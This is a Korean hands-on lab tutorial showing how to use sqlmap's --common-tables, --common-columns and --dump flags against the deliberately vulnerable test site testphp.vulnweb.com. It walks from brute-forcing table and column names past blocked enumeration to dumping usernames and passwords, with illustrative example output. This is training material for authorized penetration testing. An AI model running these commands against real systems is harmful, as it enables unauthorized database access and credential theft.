sqlmap 에서 테이블 및 열 이름 무차별 대입

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 표준 열거 기법이 효과적이지 않을 때 데이터베이스 테이블 및 열 이름을 검색하기 위한 sqlmap의 고급 기법을 탐구합니다. 이는 웹 애플리케이션이 강력한 필터링 또는 일반적인 SQL 삽입 페이로드를 차단하는 웹 애플리케이션 방화벽 (WAF) 을 구현하는 실제 시나리오에서 자주 발생합니다. 내장된 단어 목록을 사용하여 숨겨진 데이터베이스 구조를 식별하기 위해 sqlmap의 무차별 대입 기능, 특히 --common-tables--common-columns 플래그를 활용하는 방법을 배우게 됩니다. 이 실습 경험을 통해 보다 포괄적인 SQL 삽입 테스트에 필요한 필수 기술을 습득하게 될 것입니다.

표준 열거 기법이 실패하는 시나리오 식별

이 단계에서는 표준 sqlmap 열거 기법이 테이블 및 열 이름을 검색하는 데 실패할 수 있는 시나리오를 시뮬레이션합니다. 이는 WAF, 엄격한 필터링 또는 sqlmap이 데이터베이스 스키마를 직접 추론하는 것을 방지하는 사용자 지정 오류 처리로 인해 자주 발생합니다. 이 실습을 위해 실제로 취약한 애플리케이션을 설정하지는 않겠지만, 직접 열거가 불가능할 때 sqlmap이 어떻게 작동하는지 보여주기 위해 플레이스홀더 URL 을 사용할 것입니다.

먼저 테이블 및 열에 대한 표준 열거 명령을 시도해 보겠습니다. 대상으로는 더미 URL http://testphp.vulnweb.com/listproducts.php?cat=1을 사용하겠습니다. 이 URL 은 특정 상황에서 취약한 것으로 알려져 있지만, 이 연습에서는 직접 열거를 차단하도록 구성되었다고 가정합니다.

터미널을 열고 다음 sqlmap 명령을 실행합니다. 이 명령은 acuart 데이터베이스에 대한 테이블 및 열을 열거하려고 시도합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch

sqlmap이 테이블이나 열을 찾는 데 어려움을 겪거나, 실제로 존재하더라도 테이블/열을 찾을 수 없다고 보고할 수 있습니다. 이는 직접 열거가 차단된 시나리오를 시뮬레이션합니다. --batch 플래그는 sqlmap에 질문에 대한 기본 답변을 사용하도록 지시하여 프로세스를 비대화형으로 만듭니다.

예시 출력 (다를 수 있지만, 발견된 테이블/열이 없다는 점에 유의하십시오):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] 법적 고지: 사전 상호 동의 없이 대상 공격에 sqlmap을 사용하는 것은 불법입니다. 귀하는 자신의 행동에 대한 책임이 있습니다.
[!] sqlmap은 명시적이든 묵시적이든 어떠한 종류의 보증도 없이 '있는 그대로' 제공됩니다.
...
[INFO] 데이터베이스 'acuart'에 대한 테이블 가져오기
[INFO] 데이터베이스 'acuart'에서 테이블을 찾을 수 없습니다.
[INFO] 데이터베이스 'acuart'의 테이블 'users'에 대한 열 가져오기
[INFO] 테이블 'users'에서 열을 찾을 수 없습니다.
...

이 출력은 sqlmap이 테이블과 열을 직접 열거할 수 없었음을 나타냅니다. 이러한 경우 일반적인 이름에 대한 무차별 대입이 실행 가능한 대안이 됩니다.

--common-tables 플래그를 사용하여 테이블 이름 무차별 대입하기

이 단계에서는 --common-tables 플래그를 사용하여 테이블 이름을 무차별 대입합니다. 이 플래그는 sqlmap에게 일반적인 테이블 이름 (예: users, admin, products, orders) 의 내장된 단어 목록을 사용하고 이를 대상에 대해 테스트하도록 지시합니다. 이는 직접 열거가 차단되었을 때 특히 유용합니다.

동일한 대상 URL http://testphp.vulnweb.com/listproducts.php?cat=1acuart 데이터베이스를 계속 사용합니다.

다음 sqlmap 명령을 실행합니다:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch

이 명령은 sqlmap에게 acuart 데이터베이스 내에서 일반적인 테이블 이름을 식별하도록 시도하라고 지시합니다. sqlmap은 내부 단어 목록을 반복하며 존재하는 테이블을 찾으려고 시도합니다.

예시 출력:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] 법적 고지: 사전 상호 동의 없이 대상 공격에 sqlmap을 사용하는 것은 불법입니다. 귀하는 자신의 행동에 대한 책임이 있습니다.
[!] sqlmap은 명시적이든 묵시적이든 어떠한 종류의 보증도 없이 '있는 그대로' 제공됩니다.
...
[INFO] 데이터베이스 'acuart'에 대한 일반 테이블 가져오기
[INFO] 일반 테이블 검색됨: 'users'
[INFO] 일반 테이블 검색됨: 'products'
[INFO] 일반 테이블 검색됨: 'categories'
...
데이터베이스: acuart
[3개의 테이블]
+------------+
| categories |
| products   |
| users      |
+------------+
...

이제 sqlmapusers, products, categories와 같은 일반 테이블 이름을 성공적으로 식별하는 것을 볼 수 있습니다. 이는 표준 열거가 실패했을 때 무차별 대입의 효과를 보여줍니다.

일반 단어 목록에서 찾은 테이블 목록 분석

이 단계에서는 이전 명령의 출력을 검토하여 sqlmap이 성공적으로 식별한 일반 테이블을 이해합니다. 테이블 이름을 알면 특정 데이터를 대상으로 지정할 수 있으므로 이 분석은 SQL 삽입 프로세스의 다음 단계를 계획하는 데 중요합니다.

이전 명령의 출력에서 sqlmap은 몇 가지 일반 테이블을 나열해야 합니다. 예를 들어 다음과 같은 내용을 볼 수 있습니다.

데이터베이스: acuart
[3개의 테이블]
+------------+
| categories |
| products   |
| users      |
+------------+

이것들은 sqlmap이 내부 단어 목록을 무차별 대입하여 찾은 테이블입니다. users와 같은 테이블의 존재는 사용자 이름 및 비밀번호와 같은 민감한 정보를 포함하는 경우가 많기 때문에 특히 흥미롭습니다.

잠시 시간을 내어 터미널의 출력을 살펴보십시오. sqlmap이 발견한 테이블 이름을 식별하십시오. 이러한 이름은 다음 단계에서 열 이름 무차별 대입에 사용됩니다.

이 단계에서는 이전 명령의 출력을 분석하는 것이므로 특정 명령은 필요하지 않습니다. 이 단계는 sqlmap 작업 결과를 이해하는 데 중점을 둡니다.

--common-columns 플래그를 사용하여 열 이름 무차별 대입하기

이제 일반 테이블 이름을 식별했으므로 해당 테이블 내에서 열 이름을 무차별 대입할 수 있습니다. --common-tables와 유사하게 --common-columns 플래그는 일반 열 이름 (예: username, password, email, id) 의 내장된 단어 목록을 사용하여 직접 열거가 불가능할 때 열을 검색합니다.

이전 단계에서 users 테이블을 찾았다고 가정해 보겠습니다. 이제 acuart 데이터베이스의 users 테이블 내에서 열 이름을 무차별 대입해 보겠습니다.

다음 sqlmap 명령을 실행합니다:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch

이 명령은 sqlmap에게 acuart 데이터베이스의 users 테이블 내에서 일반 열 이름을 찾도록 지시합니다.

예시 출력:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] 법적 고지: 사전 상호 동의 없이 대상 공격에 sqlmap을 사용하는 것은 불법입니다. 귀하는 자신의 행동에 대한 책임이 있습니다.
[!] sqlmap은 명시적이든 묵시적이든 어떠한 종류의 보증도 없이 '있는 그대로' 제공됩니다.
...
[INFO] 데이터베이스 'acuart'의 테이블 'users'에 대한 일반 열 가져오기
[INFO] 일반 열 검색됨: 'id'
[INFO] 일반 열 검색됨: 'username'
[INFO] 일반 열 검색됨: 'password'
[INFO] 일반 열 검색됨: 'email'
...
데이터베이스: acuart
테이블: users
[4개의 열]
+----------+-----------+
| 열       | 유형      |
+----------+-----------+
| id       | int(11)   |
| username | varchar(50) |
| password | varchar(50) |
| email    | varchar(100)|
+----------+-----------+
...

sqlmapusers 테이블 내에서 id, username, password, email과 같은 일반 열 이름을 성공적으로 식별하는 것을 볼 수 있습니다. 이는 직접 열거가 차단되었을 때에도 무차별 대입이 중요한 정보를 어떻게 드러낼 수 있는지 보여줍니다.

무차별 대입 검색과 데이터 덤프 명령 결합하기

이 마지막 단계에서는 무차별 대입으로 테이블 및 열 이름을 검색하는 것과 데이터 덤프 명령을 결합합니다. --common-tables--common-columns 플래그를 사용하여 흥미로운 테이블과 열을 성공적으로 식별한 후에는 sqlmap--dump 플래그를 사용하여 실제 데이터를 추출할 수 있습니다.

이전 단계에서 users 테이블과 username, password와 같은 열을 식별했다고 가정하면, 이제 이 열에서 데이터를 덤프해 볼 수 있습니다.

acuart 데이터베이스의 users 테이블에서 usernamepassword 열의 데이터를 덤프하려면 다음 sqlmap 명령을 실행합니다:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch

이 명령은 sqlmap에게 지정된 열에서 데이터를 검색하도록 지시합니다.

예시 출력:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] 법적 고지: 사전 상호 동의 없이 대상 공격에 sqlmap을 사용하는 것은 불법입니다. 귀하는 자신의 행동에 대한 책임이 있습니다.
[!] sqlmap은 명시적이든 묵시적이든 어떠한 종류의 보증도 없이 '있는 그대로' 제공됩니다.
...
[INFO] 데이터베이스 'acuart'의 테이블 'users'에서 열 'username,password'에 대한 항목 가져오기
...
데이터베이스: acuart
테이블: users
[2개의 항목]
+----------+----------+
| 사용자명   | 비밀번호 |
+----------+----------+
| test     | test     |
| admin    | admin    |
+----------+----------+
...

sqlmapusernamepassword 열에서 데이터를 성공적으로 덤프하는 것을 볼 수 있습니다. 이는 전체 워크플로우를 보여줍니다: 표준 열거가 실패하는 시나리오를 식별하고, 무차별 대입을 사용하여 숨겨진 구조를 검색하고, 마지막으로 민감한 데이터를 추출합니다. 이 기술은 SQL 삽입 도구 모음에 강력한 추가 기능입니다.

요약

이 실습에서는 표준 열거 방법이 차단되거나 실패할 때 테이블 및 열 이름을 검색하기 위해 sqlmap의 무차별 대입 기능을 효과적으로 사용하는 방법을 배웠습니다. 직접 열거가 성공하지 못한 시나리오를 시뮬레이션하는 것부터 시작했습니다. 그런 다음 --common-tables 플래그를 사용하여 일반 테이블 이름을 식별하고 --common-columns 플래그를 사용하여 해당 테이블 내에서 일반 열 이름을 찾는 데 성공했습니다. 마지막으로 이러한 검색 기술을 --dump 플래그와 결합하여 식별된 열에서 데이터를 추출했습니다. 이 실습 경험을 통해 고급 SQL 삽입 테스트에 중요한 기술을 습득하여 일반적인 방어를 우회하고 취약한 데이터베이스에서 귀중한 정보를 검색할 수 있게 되었습니다.